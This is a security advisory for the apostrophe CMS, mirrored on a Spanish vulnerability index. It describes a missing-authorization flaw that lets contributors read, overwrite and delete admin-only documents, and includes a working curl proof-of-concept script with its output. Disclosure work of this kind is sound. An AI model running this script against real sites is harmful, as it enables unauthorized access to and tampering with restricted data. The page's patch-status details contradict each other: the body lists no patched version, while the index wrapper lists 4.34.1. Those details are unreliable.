GHSA-9WX5-RXFG-8RPW
Missing authorization: a `viewRole` type restriction is not applied to the edit or document-version routes, so a contributor can read and overwrite admin-only documents
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-9WX5-RXFG-8RPW divulgada · CVSS 8.1 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 4.34.1 | apostrophe · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A doc type restricted with `viewRole` is readable and writable by a user below that role, through the routes that authorize on `edit` rather than `view`.
`permission.criteria(req, 'edit' | 'create' | 'delete')` restricts a query by the type's `editRole` only (`permission/index.js`, `restrictedEditTypes`). It never consults `viewRole`, and `permission.can(req, 'edit', doc)` never consults it either. Every read route authorizes with `permission('view')`, so it does enforce `viewRole`; every write route authorizes with `permission('edit')` and then returns the document it loaded.
A type declared with `viewRole: 'admin'` and the default `editRole: 'contributor'` therefore behaves like this for a contributor:
| Route | Result |
| --- | --- |
| `GET /api/v1/<type>` | `{"pages":0,"results":[]}` |
| `GET /api/v1/<type>/<id>` | 404 `notfound` |
| `GET /api/v1/@apostrophecms/doc/<id>:draft` | 200, full document |
| `GET /api/v1/@apostrophecms/document-versions/<versionId>` | 200, full stored document |
| `PATCH /api/v1/<type>/<id>:draft` | 200, full document, change applied |
| `PUT /api/v1/<type>/<id>:draft` | 200, full document, change applied |
The contributor is refused the document on both read routes of its type and receives the same document, including fields the admin set, from the universal doc API, from the version route and from the write routes.
Affected product
- Ecosystem: npm
- Package: `apostrophe`
- Affected versions: `<= 4.34.0` (measured on 4.34.0; the same construction is present at `ba1c4b932`, 2026-10-30)
- Patched versions: none
Prerequisites
The application declares a piece type with a `viewRole` above the caller's role and leaves `editRole` at a value the caller satisfies. `editRole` defaults to `contributor`, so the default is enough:
// app.js
require('apostrophe')({
shortName: 'vault-demo',
modules: {
'@apostrophecms/express': {
options: {
// owned test keys, so the reproduction needs no CSRF handshake
apiKeys: {
'admin-key': { role: 'admin' },
'contributor-key': { role: 'contributor' }
}
}
},
vault: {
extend: '@apostrophecms/piece-type',
options: {
alias: 'vault',
name: 'vault',
label: 'Vault',
pluralLabel: 'Vaults',
viewRole: 'admin'
},
fields: {
add: {
secretNote: {
type: 'string',
label: 'Secret note'
}
}
}
}
}
});The caller is a contributor: the lowest role that can edit, `PR:L`. No `publicApiProjection`, no anonymous access and no special configuration are needed.
`viewRole` is a confidentiality control in this product, not a listing filter, and the maintainers have treated this restriction as a security boundary twice. `GHSA-2j32-q6rx-h844` ("Page REST API authorization bypass", 2026-10-02) reports the page `getOne` route reading with `.permission(false)` and returning pages whose type sets `viewRole` above the caller, to an anonymous visitor and to a contributor. `GHSA-vh56-5m88-39rq` ("GET /api/v1/@apostrophecms/page/:id bypasses viewRole restriction and exposes viewPermission-gated fields to lower-privileged users", 2026-10-14) reports that the first fix did not close the `getOne` path.
Those fixes reach the page and piece REST read routes and the `viewPermission` field filter, and none of them reaches the sinks below. The 2026-10-14 fix commit `40b989b1a` leaves the universal document route on its earlier authorization: `packages/apostrophe/modules/@apostrophecms/doc/index.js` `getOne` still reads with `.permission('edit')`, and its `permission/index.js` change adds `publishRole` to published edits (`restrictsPublishedEdits`) without making `canEdit` consult `viewRole`. Its new tests cover `viewRole` for the page and piece REST `getOne` routes and `viewPermission` fields in write responses; no test asserts that a write to a `viewRole`-restricted type is refused. That commit is in no release tag (`git tag --contains 40b989b1a` prints nothing), so every published version carries the behavior measured below.
Root cause
`packages/apostrophe/modules/@apostrophecms/permission/index.js`:
// :177-188 — computed, but restrictedViewTypes is not used by the edit branch
const restrictedViewTypes = Object.keys(self.apos.doc.managers)
.filter(name => ranks[...options.viewRole] > rankOf(role));
const restrictedEditTypes = Object.keys(self.apos.doc.managers)
.filter(name => ranks[...options.editRole] > rankOf(role));// :244-253 — the edit / create / delete branch consults editRole only
} else if ([ 'edit', 'create', 'delete' ].includes(action)) {
if (role === 'contributor') {
return {
aposMode: { $in: [ null, 'draft' ] },
type: { $nin: restrictedEditTypes }
};// :135-150 — canEdit never consults viewRole
function canEdit() {
if (checkRoleConfig('editRole')) {
return false;
}
...Consumers that authorize on `edit` and then return the document:
- `doc/index.js:54-61` — the universal `GET /api/v1/@apostrophecms/doc/<id>` route reads with `self.find(req, { $or: [ { _id }, { _id: aposDocId } ] }).permission('edit')` and returns the whole document. Its own comment states the contract it breaks for a `viewRole`-restricted type: "you will receive a 404 if you request a document you cannot edit" — the document is editable, so the content of a type the caller may not view is returned.
- `doc-type/index.js:863-871` — `findForEditing` builds `self.find(req, criteria).permission('edit')`, and `findOneForEditing` returns that document.
- `piece-type/index.js:365-387` — the REST `put` and `patch` routes call `convertUpdateAndRefresh` / `convertPatchAndRefresh`, which fetch with `findOneForEditing` and return the fetched document.
- `document-versions/index.js:1139-1147` — `getEditableVersion` authorizes the version with `getRestDocQuery(req).and({ _id: draftId }).toCount()`, and `getRestDocQuery` (`:882-888`) is `apos.doc.find(req).permission('edit')`. The stored `version.doc` is then returned unchanged.
- `page/index.js:611` and `:682` — the page REST `put` and `patch` routes; the `patch` method (`:1236-1249`) fetches with `findOneForEditing(req, { _id })` and returns that page. Measured below on a page type, not inferred: the read routes refuse the page and the `PATCH` returns it with the change applied.
The smallest patch boundary is `permission.criteria`'s `[ 'edit', 'create', 'delete' ]` branch and `permission.can`'s `canEdit`: both must reject a type the request cannot view, e.g. by excluding `restrictedViewTypes` in addition to `restrictedEditTypes`, and by returning false from `canEdit` when `checkRoleConfig('viewRole')` is true. No route handler needs to change.
Reproduction
Configuration: the `app.js` in Prerequisites, with `vault` as the admin-only type. Run against a clean database.
#!/usr/bin/env bash
# A contributor reads and overwrites a document of a type whose viewRole is
# 'admin', through the universal doc API, the document-versions route and the
# REST write route, while every read route of that type refuses the same
# document.
#
# Requires the app configuration in the report's "Prerequisites" section: the
# admin-only type and the two API keys it declares.
set -u
BASE="${APOS_BASE:-http://localhost:3000}"
ADMIN_KEY="${APOS_ADMIN_KEY:-admin-key}"
CONTRIB_KEY="${APOS_CONTRIB_KEY:-contributor-key}"
SLUG="board-minutes-$RANDOM"
pick() { python3 -c 'import json,sys; d=json.load(sys.stdin); print(d[sys.argv[1]])' "$1"; }
nested() { python3 -c 'import json,sys; d=json.load(sys.stdin); print(d[sys.argv[1]][sys.argv[2]])' "$1" "$2"; }
field() { python3 -c 'import json,sys; d=json.load(sys.stdin); print(d.get(sys.argv[1]))' "$1"; }
echo "== 1. admin creates a document of the admin-only type"
ID=$(curl -s -X POST -H 'Content-Type: application/json' \
-d "{\"title\":\"board minutes\",\"slug\":\"$SLUG\",\"published\":true,\"visibility\":\"public\",\"secretNote\":\"ACQUISITION-PRICE-42M\"}" \
"$BASE/api/v1/vault?apikey=$ADMIN_KEY" | pick aposDocId)
echo "aposDocId=$ID"
echo
echo "== 2. contributor is refused on every read route of the type"
echo -n "GET /api/v1/vault -> "
curl -s "$BASE/api/v1/vault?apikey=$CONTRIB_KEY"
echo
echo -n "GET /api/v1/vault/<id>:published -> "
curl -s -w ' [%{http_code}]' "$BASE/api/v1/vault/$ID:en:published?apikey=$CONTRIB_KEY"
echo
echo -n "GET /api/v1/vault/<id>:draft -> "
curl -s -w ' [%{http_code}]' "$BASE/api/v1/vault/$ID:en:draft?apikey=$CONTRIB_KEY"
echo
echo
echo "== 3. contributor reads the whole document through the universal doc API"
echo -n "GET /api/v1/@apostrophecms/doc/<id>:en:draft -> "
DOC=$(curl -s -w $'\n%{http_code}' "$BASE/api/v1/@apostrophecms/doc/$ID:en:draft?apikey=$CONTRIB_KEY")
echo "[$(printf '%s' "$DOC" | tail -n1)]"
DOC=$(printf '%s' "$DOC" | head -n-1)
echo -n "doc.type="; printf '%s' "$DOC" | field type
echo -n "doc.title="; printf '%s' "$DOC" | field title
echo -n "doc.secretNote="; printf '%s' "$DOC" | field secretNote
echo
echo "== 4. contributor reads the admin's stored content through the versions route"
VID=$(curl -s "$BASE/api/v1/@apostrophecms/document-versions?docId=$ID:en:published&apikey=$CONTRIB_KEY" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["results"][0]["_id"])')
echo "versionId=$VID"
echo -n "doc.title="
curl -s "$BASE/api/v1/@apostrophecms/document-versions/$VID?apikey=$CONTRIB_KEY" | nested doc title
echo -n "doc.secretNote="
curl -s "$BASE/api/v1/@apostrophecms/document-versions/$VID?apikey=$CONTRIB_KEY" | nested doc secretNote
echo
echo "== 5. contributor overwrites the same document and receives it in full"
RESP=$(curl -s -w $'\n%{http_code}' -X PATCH -H 'Content-Type: application/json' \
-d '{"secretNote":"OVERWRITTEN-BY-CONTRIBUTOR"}' \
"$BASE/api/v1/vault/$ID:en:draft?apikey=$CONTRIB_KEY")
echo "PATCH status=$(printf '%s' "$RESP" | tail -n1)"
echo -n "response.secretNote="
printf '%s' "$RESP" | head -n-1 | pick secretNote
echo
echo "== 6. contributor replaces the same document with PUT"
RESP=$(curl -s -w $'\n%{http_code}' -X PUT -H 'Content-Type: application/json' \
-d "{\"title\":\"board minutes\",\"slug\":\"$SLUG\",\"published\":true,\"visibility\":\"public\",\"secretNote\":\"REPLACED-BY-CONTRIBUTOR\"}" \
"$BASE/api/v1/vault/$ID:en:draft?apikey=$CONTRIB_KEY")
echo "PUT status=$(printf '%s' "$RESP" | tail -n1)"
echo -n "response.secretNote="
printf '%s' "$RESP" | head -n-1 | pick secretNoteObserved output (sha256 of the script above: `c1e89401a2f2ceab2ae1a4e6c503321aefc39b963f1a3b7ce04369e00fb396d4`):
== 1. admin creates a document of the admin-only type
aposDocId=y1ku5q26852q2pkv6iislpq2
== 2. contributor is refused on every read route of the type
GET /api/v1/vault -> {"pages":0,"currentPage":1,"results":[]}
GET /api/v1/vault/<id>:published -> {"name":"notfound","data":{},"message":"notfound"} [404]
GET /api/v1/vault/<id>:draft -> {"name":"notfound","data":{},"message":"notfound"} [404]
== 3. contributor reads the whole document through the universal doc API
GET /api/v1/@apostrophecms/doc/<id>:en:draft -> [200]
doc.type=vault
doc.title=board minutes
doc.secretNote=ACQUISITION-PRICE-42M
== 4. contributor reads the admin's stored content through the versions route
versionId=rn9taqgl2pt0fvu2i370dad8
doc.title=board minutes
doc.secretNote=ACQUISITION-PRICE-42M
== 5. contributor overwrites the same document and receives it in full
PATCH status=200
response.secretNote=OVERWRITTEN-BY-CONTRIBUTOR
== 6. contributor replaces the same document with PUT
PUT status=200
response.secretNote=REPLACED-BY-CONTRIBUTORBaseline and control in the same run: step 2 shows the contributor denied the document by both read routes, so the denial is not a property of the account. Step 3 reads the value the administrator stored, with no write of any kind. Step 4 reads it again from the stored version of the published document. Steps 5 and 6 are the writes: each returns the document in full and replaces the stored value.
`POST /api/v1/vault` is refused to the same contributor (`403 forbidden`), because the create branch of `canEdit` limits a contributor to draft mode; the bypass applies to documents that already exist.
`DELETE /api/v1/vault/<id>:draft` also removes the draft, through the same `permission('edit')` authorization, and the reproduction leaves it out because the response is `403`: the draft is removed first, then the cascade to the published peer of the same document is refused. The draft is gone from the database in either case, so a contributor can destroy the unpublished work of an administrator-only document.
The same boundary on a page type, measured in the same lab with a page of a type declaring
`viewRole: 'admin'` (created with `apos.page.insert`, the documented server API):
== page type with viewRole: 'admin', created with apos.page.insert
contributor GET /api/v1/@apostrophecms/page?type=locked-page -> {"results":[],"pages":0,"currentPage":1}
contributor GET /api/v1/@apostrophecms/page/zy4irezeu53rpofalhxwnl56:en:published -> {"name":"notfound","data":{},"message":"notfound"} [404]
contributor GET /api/v1/@apostrophecms/page/zy4irezeu53rpofalhxwnl56:en:draft -> {"name":"notfound","data":{},"message":"notfound"} [404]
contributor PATCH /api/v1/@apostrophecms/page/zy4irezeu53rpofalhxwnl56:en:draft -> secretNote=OVERWRITTEN-BY-CONTRIBUTOR title=Locked page _edit=True [200]All three read routes refuse the page (`{"results":[],"pages":0}` and `404 notfound` twice), and
`PATCH` returns it with `_edit: true` and the new `secretNote` value. The page REST `getOne` route
that `GHSA-vh56-5m88-39rq` fixed is not on this path: the write route authorizes with
`permission('edit')`, which never consults `viewRole`.
Impact
A contributor, the lowest role that can edit, reads the complete content of documents whose type the site restricted to administrators: step 3 returns the admin's stored `secretNote` without any write. The same caller then overwrites those documents, and the modified draft is what an editor or administrator publishes next.
The affected data is whatever a site places in a `viewRole`-restricted type: internal records, unpublished figures, records about other users.
`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` — 8.1 High. CWE-285, CWE-862, CWE-200.
Remediation
Apply the type-level view restriction to the edit path as well, at the permission boundary:
- `permission.criteria`, `[ 'edit', 'create', 'delete' ]` branch: exclude `restrictedViewTypes` in addition to `restrictedEditTypes`.
- `permission.can`, `canEdit`: return false when `checkRoleConfig('viewRole')` is true.
Both changes leave the read routes untouched and remove the inconsistency between `can(req, 'view', doc)` and `can(req, 'edit', doc)` for the same document.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmapostrophe |
Corregida | 4.34.1 | 0 d | 4.34.1 no afectada |
4.34.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-9wx5-rxfg-8rpwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
